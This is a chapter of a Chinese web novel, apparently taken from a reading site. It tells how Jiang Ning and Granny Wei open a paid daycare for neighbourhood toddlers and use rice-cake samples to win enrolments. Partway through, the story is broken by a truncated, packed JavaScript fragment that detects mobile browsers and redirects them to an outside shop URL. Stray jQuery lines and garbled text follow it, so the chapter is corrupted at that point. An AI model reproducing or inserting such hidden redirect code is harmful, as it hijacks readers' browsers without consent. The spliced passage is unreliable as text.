一阵激动后，姜宁提前泼冷水：“魏大娘，我们才开始办，估摸来的孩子不多。”大富人家有丫鬟奶娘，困苦家庭舍不得一日那么多铜钱，这个针对富余之家，而且大人没空带孩子的。


    魏婆子火热的心凉下来，转念一想，多收一个孩子，便多一份钱，没孩子来，她也不亏，院子屋子本来就在那，空着没用，只需要提前购些米粮面，粮食本身家里也要买，吃不完存着一时半会坏不掉，素菜家里院子里就有，荤菜根据当日送来的孩子个数，现去市场割，一点不浪费。


    所以，这是一个完全没有风险，但上限很高的买卖，比外头做生意的收益还好。


    短暂的思索后，魏婆子拍板：“没事，我们先试试水，不行就算了，也不损失什么。”


    两人凑在一起嘀嘀咕咕，商量起来。


    姜宁万事以安全为先，坚决要求宁愿收不到孩子，也不要生病的小孩，万一孩子在这里出了问题，要吃官司的。


    魏婆子点头：“你放心，招孩子的事，我来办，我在东城住了半辈子，各街坊家里的事，我熟。”


    两人讨论了大半天，定在三日后开张。


    魏婆子负责抱着板栗到处显摆自家孙子会喊尿尿，还会呀啊撒数数，姜宁负责收拾布置堂屋，给报名的小孩做午睡休息用。


    三日后的早晨，魏婆子领着看热闹的街坊进了院门。


    短短三日，魏婆子家院子变化很多。


    进门，左边是二十步长宽的平整夯土院子，足够小孩撒欢奔跑，旁边墙跟整齐摆放着十个沙包和一个圆鼓鼓的猪泡球，右边是码放整齐的柴火，被细密的篱笆隔开，小孩子钻不进去。柴火堆旁边一个泥坑，里头许多半干的细腻河沙，上头洒落些竹子做的小木铲，小锄头。


    早有孩子挣脱大人的手，去捡铲子玩。


    最令人惊奇的是，挨着堂屋的院墙，被油漆漆成了方方正正的黑色，下面小篮子里放着些白色石膏块，下面一圈小板凳，旁边一块黑色的小黑木板，有点学堂的模样。


    不等魏婆子介绍，早有淘气的孩子，拿着白石膏在小木板上乱画，这个花个圈，那个划条线，兴奋叽叽喳喳互相比对，哪个画的人好看。


    进了堂屋，中间是过道，左右两边一溜足有一尺厚的稻草床，上头铺着一层陈旧但干净的床单，整齐的叠放了一床小被子小枕头。


    姜宁笑着努努嘴，苏慎放开牵着小板栗的手，小板栗呜啊扑向稻草床自己的被子，藏住脑袋，掀开，又藏起来，又露出来，两个骨碌碌清亮的大眼睛弯成了月牙，招呼大家和他躲猫猫。


    其他小孩哪里还能忍，脱了鞋便蹦上去，兴奋的左右打滚翻跟头，谁家的床有这么大啊，翻跟头都翻不到头。


    魏婆子咳嗽一声，笑道：“孩子们快出来，我给你们准备了甜甜的米糕哦，快快快，慢了没有啦！”


    在地铺上蹦跶，大人逮不到的萝卜头们，立马撒欢跟着魏婆子出了堂屋，魏婆子招呼所有小孩到后院茅坑外排队嘘嘘后，领着他们看了一圈小鸡，认识了几样蔬菜，晃悠来到厨房，门口的大木盆已经备好温水，魏婆子领着孩子们洗完手擦干净，顶戴头巾、口鼻覆着面巾的姜宁端出一个木盆，里头趴着数十个小白兔，玉雪可爱。


    姜宁的清越的声音从面罩后传出来：“我家米兔选用新鲜的大米，加了白糖、蜂蜜桂花等数十种香料，经十多种工序精心烹制做成，酸中带甜，甜中带香，软糯易克化，最适合小宝们品尝!”


    她说着捏了两下手中的米兔，米兔肚子瘪后立马回弹，镶嵌了两片红枣做的眼睛，又新奇又好玩。


    她耐心的指挥小娃们排队领米兔，一个小孩发了一只后，剩下三只米兔用剪刀减小，擦上牙签，请围观的大人品尝。


    一旁的魏婆子半是炫耀半是惋惜：“这是我侄女魏宁，之前在大酒楼当厨娘，手艺没得说！说好了亲事，回家等发嫁，我请来帮我做饭。这侄女穷讲究，平时带着口罩，说免得喷些口水到菜里不干净。”


    众人撇嘴，魏婆子也太能吹了，一个没成婚的丫头，还大酒楼的厨娘，牛皮都快飞上天。


    手里还拿着人家送的米糕，加了糖的呢，好不好吃不说，必须得尝尝，别糟蹋了东西。


    米糕一入嘴，大家露出不可思议的神色：口感蓬松宣软，回弹有嚼劲，味道甜中带酸，酸里泛香，米香中混着酒香，还有一缕似有似无的桂花香，多种香味层层递进，实在是妙！


    一只兔子米糕才鸡蛋大小，哪里够吃，娃儿们几嘴吞掉后，围着姜宁讨要，姜宁翻过木盆，让大家看清光溜溜的盆底：“没有了呢，若还要，找婆婆预定，我这便去做！”


    魏婆子摆摆手示意她进厨房，抱歉的对着家长解释：“米糕加了许多白糖，不敢多做，担心吃不完浪费，实在没多的！”


    要不到米糕的孩子抱着自家阿娘或阿奶大腿，哭闹撒泼，众人围着魏婆子：“你个老货，都知道白糖精贵，我们不白吃你的，给你钱行了吧，多少钱一个，我们买还不行么？”


    魏婆子点头：“确实是配料金贵，这点子米糕要三文一个才做的出来。她看着肉疼掏钱的街坊邻居，笑道：“若是今日报名来我家小小小学堂念书，今日下午就可以白吃一个哦。”


    众人嫌弃米兔价贵，掏钱掏得肉疼，听到可以白嫖，来了兴趣，哄笑：“还小小小学堂，你们家会教孩子念书吗？”


    魏婆子不恼，对着小板栗拍手，嘴里哼起轻快的旋律，“小手拍拍，小手拍拍，手指伸出来，手指伸出来，眼睛在哪里，眼睛在哪里，快点指出来……”


    小板栗立马应和拍着肉肉的小手，跟着含糊不清的唱起来：“小斗拍拍，小斗拍拍，斗置灯出来，斗置等出来，眼睛在这腻，眼睛在这腻……”


    一面用手捂着眼睛，一面从手缝里偷看大家，逗得大家哈哈大笑。


    这娃子，太逗人稀罕了。


    魏婆子解释：“孩子小，先从最基本的教起，撒尿，吃饭，唱歌，数数，教孩子学这些最简单的啊。”


    都是街坊，他家小板栗的进步大家有目共睹，才几日不见，竟然会撒尿吃饭唱歌了。


    众人你看看我，我看看你，不愿开口询问。


    姜氏躲在人群后捏着嗓子替大家发声：“学这么多，得要八九十学费一天吧？”


    魏婆子笑道：“哪能啊？


    我们上午教孩子唱歌，下午教孩子画画，供三餐再加一顿点心，只要二十文一天。诺，刚才试吃的精贵米兔便是下午的点心。今早早饭是葱油泼面，午食莴笋肉配白米饭，晚食三鲜肉配白米饭。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991615|193739||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >一次□□三天学费，送一个沙包，交满十天，送一个小黑板，交满三十天，送一个猪泡球。


    大家都是熟人，今日报名的，多送一个米兔，晚上可以带回家。我只准备了二十只米兔的食材，晚了可没有了哦！”


    大家犹豫不决，肉疼二十文一天太贵。


    魏婆子朝着人群中的老姐妹使了个眼色，陈婆子提着自家胖墩墩，刚尿了裤子的孙子后领，挤到前面，哗啦丢了个钱袋给魏婆子，痛心疾首：“这是200文，我家小胖报名学10天，必须学会自己撒尿和唱眼睛歌，还要会数数，嗯，最重要的是，要能背诗，十天不够，我们学三十天，学到会为止！”


    大家一听，心思百转，米兔就是一精致些的糕点，吃不吃无所谓，十多天后就是中秋节，全家齐聚一堂，到时候妯娌家的孩子忙着尿裤子，自家孩子唱着歌，数着数，背着诗，想想那场景都让人美得浑身冒泡。


    上头公婆得了脸，手里漏出些压箱底的来，那不就面子里子都占了!


    学，必须学，十天也才两百文而已，随便别处抠一下就省出来了。主要是望子成龙，望女成凤！


    客户要求教孩子们背诗，魏婆子一时有些为难，和之前商量的学习内容有出入，姜宁到底行不行啊？


    她的目光隐晦投向厨房的窗子里，看见里面的姜宁伸出三个手指头，魏婆子放下七上八落的心，铿锵有力保证：“既然你们要求，我今晚就调整娃儿们的学习内容，从明天开始教娃儿们学诗，我保证，至少教他们三首诗！”


    得到大家的一致同意，魏婆子叫姜宁出来帮忙收学费做登记。


    姜宁仔细检查每一个小孩，手脚屁股上没有红疹、伤痕，嘴唇正常红润不青紫，再扳开孩子嘴巴查看咽喉等，确认没有病症的孩子，才办理入班手续，名字、年龄、住址、孩子喜爱、注意事项等，一面问一面用炭笔在纸张上记录得飞快。


    众人看她写得满满当当，龙飞凤舞，竟是个识字的，收起了轻慢之心，即便心里不满，询问的语气都温润了许多：“孩子跟着学几首诗，怎么还要看牙齿屁股？”好似在相看牲口。


    魏婆子插嘴解释：“问清楚了知道娃儿不能吃什么，做饭时避开，才不会出差错，都是为小娃们好哈。”


    “交了学费的娃儿娘，先回去取娃儿的被褥，和换洗衣裳一套送来，然后以后早上辰时正送娃一起带过来，晚上酉时正接娃带回去哈。记住了，谁送的娃，谁来接，其他人来，我是一律不给接走的。”


    忙了将近半个时辰，才把所有家长送走，只剩下十八个眼角挂着泪的小萝卜头，睁着大眼睛坐在小板凳上，瘪嘴舔着姜宁提前备好的棒棒糖，眼巴巴的盯着黑板旁的苏慎，将他看得一阵心里发毛。


    姜氏这三日没有出门卖柴，在家帮忙布置院子，土坑里的沙子便是她从河边挑来的，篱笆也是她披星戴月扎的，还有地铺的稻草依旧是她从城外农田里买回来的，可以说，姜宁是设计师的话，她便是最有力的执行者。


    和苏慎不一样，她看着面前的十八个小萝卜头，眼里的温柔几乎要溢出来，这哪里是小萝卜头，是十八棵小摇钱树。


    啧，一个娃儿二百文，去掉小板栗，还剩十七个，乖乖，那是3400文，也就是3两4，自家不晓得能分得多少？